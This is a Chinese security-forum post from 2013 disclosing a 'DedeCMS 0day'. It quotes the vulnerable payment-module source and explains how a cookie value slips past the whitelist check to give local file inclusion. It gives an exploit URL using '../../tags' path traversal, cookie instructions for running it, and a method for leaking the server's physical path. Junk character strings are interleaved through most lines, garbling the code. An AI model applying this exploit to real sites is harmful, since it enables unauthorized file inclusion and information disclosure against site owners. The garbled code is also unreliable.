中国网络渗透测试联盟

标题: dedecms本地文件包含及物理路径泄露0day [打印本页]

作者: admin    时间: 2013-4-4 17:25
标题: dedecms本地文件包含及物理路径泄露0day
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
$ Y% t% [4 N+ n* V  r' e- u( g3 c' A9 z
出现漏洞的两个文件为:
. v) H" c* r/ r* _) }5 U: v: BInclude/payment/alipay.php
1 S( a" A: E% p- cInclude/payment/yeepay.php
0 E2 \, p7 o- N$ w6 u0 a漏洞均出现在respond方法里,估计这两个文件是临时工写的。( |, l$ W3 C0 _) @% _
. U" q  s' ?8 T1 _- F9 \
Include/payment/alipay.php9 d. y9 i! p# M0 T( Y7 ]

- x6 t( |: b+ \- l" V8 q) V......- C, V' S# n! Y
   function respond()9 i0 v6 i" t; d5 |
    {
" k, l0 r0 }5 x& w/ O; m$ f        if (!empty($_POST))
! h0 M( j5 o" T7 p        {
2 k* |  Q* m; |& R0 h  |( k: A( V, P; n            foreach($_POST as $key => $data)
) |; [6 ~% {) {0 [/ W  l            {5 }+ g: e9 s6 f$ O
                $_GET[$key] = $data;
" l# V+ N3 ]& j- f8 f            }7 x( p9 e2 l, n* A" d
        }
* \( ~$ J: v1 C6 U. Z$ v        /* 引入配置文件 */1 j7 r% G) t/ c$ }# L, [
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
& M5 n- ^2 l  @7 y. \......
( }3 a5 m5 N( G& m 5 W! X9 V9 A0 h! f2 O3 i  H
' p; P3 I/ m3 }5 ?( J
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。$ `  n, Y" h. P$ t
* j/ j: D& x) H! C# W: v2 N# z6 ]6 D
Include/payment/yeepay.php. y# u) r5 m; T+ D/ J
+ Q/ h4 @9 f5 ^6 T1 `( a' h) i; v

& z+ a8 H  ]7 B) S
; q- T  P& ~$ ]6 z- K, M# A8 ?) P......3 j" a8 I# |# U
    function respond()7 y( f4 \* W+ Y4 F0 i
    {0 g# {0 J8 d4 x0 `

" l0 ]$ y8 [5 p8 G        /* 引入配置文件 */
6 d. c3 M7 F) T" E: t4 |        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
  j# O' [4 ~1 M: r; L
& T/ ]7 \! w1 ^5 |9 `/ A) g% `        $p1_MerId = trim($payment['yp_account']);9 j4 ]% T& X/ @4 k) G$ V
        $merchantKey = trim($payment['yp_key']);
% `% x% i- N! u  N3 b3 ]8 o6 L...... % o  X7 u: L2 g9 x

# l0 t% ?% b; {: E+ p: q: Q
2 i' i* M, l' R* ^ ! T& A2 x1 u3 P  |, b
6 n/ e1 Z$ \8 ~5 J# R/ I0 ?. t
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
7 d% I( U6 S  t
# W3 @5 V+ e2 ~% F2 C1 Z这两个方法在plus/carbuyaction.php文件调用。
9 h: d* g" i. k% K& ]- }% ?4 Y% X- ?  u
plus/carbuyaction.php7 t: p; X+ `) I, [

9 E) j9 Q, T$ \* Q. _......# l! Q  V5 Q" [0 C! s
} else if ($dopost == 'return') {
7 Y" v  S6 M) [2 d1 W1 z# q6 h    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
* z2 b" m$ g& b) u    if (in_array($code, $write_list))# q3 I# O( a. Z3 R
    {, w- E7 y  s; |: R) M3 G5 d" P
        require_once DEDEINC.'/payment/'.$code.'.php';# j  h6 Z) ^7 k8 D, k) j& F
        $pay = new $code;
  \8 ~: G9 _, e' m) i: x& N        $msg=$pay->respond();
5 _; K. W8 B5 c8 ?+ h( c        ShowMsg($msg, "javascript:;", 0, 3000);
) U( i; F8 Z: B$ C; b, g        exit();  6 {, W9 i- ^- _1 \& Q
    } else {
* [1 {4 v' N1 ?! @        exit('Error:File Type Can\'t Recognized!');1 e" v4 \$ h, Y& h6 d4 o
    }
9 Z- G; V8 Z4 f1 W: m0 ~}. X" [2 n/ p+ o  Z2 n; f6 p- ]. X
......
) I! z* L8 k; O2 z+ t, z
" p- W% O5 q+ Z8 W1 u: A! b# m
4 C( t/ d( H3 j% A- J # ], H* z6 R* a' f; r* v0 [

. y8 i: G+ H8 k" M, @2 q$ n 4 B- }& k( p: Q9 q
, k0 g4 E9 t' L( y
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。- G2 s* s( Z$ i+ b' o
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
; H0 Q9 @7 Q/ I0 G0 X( F) M; n! l$ d9 r( r/ T- J
回到include/common.inc.php来看看他的机制。
3 @! ]/ b1 c; K3 L) ^4 Z3 h: e
) w' W  h/ x) T; j8 t% E+ V& i
% u+ k  m3 l$ q1 \; ^  B3 d" m/ d- E
......
' v/ D3 u' S1 F/ D! V. Bforeach(Array('_GET','_POST','_COOKIE') as $_request)4 b! ]/ l! N; u$ x
{% e2 w: R: t) ]/ a
        foreach($$_request as $_k => $_v)
; `3 i: D$ @* B4 X& [; H% i) x7 u        {
5 m, S+ p# X8 N8 t8 O' H7 `/ B; G                if($_k == 'nvarname') ${$_k} = $_v;
. \' Y+ {; W" G2 d* \5 u, ?/ O8 I                else ${$_k} = _RunMagicQuotes($_v);
! \  `2 Q! ~; |! l- S        }
) p; a6 u0 k  F, K5 T) e- ?}
( p4 c  q% L6 Q' `8 ?/ P: O...... * r; Q% N4 b% _) z% w% Y+ U
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
. j; N% _  c7 |: x9 l由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2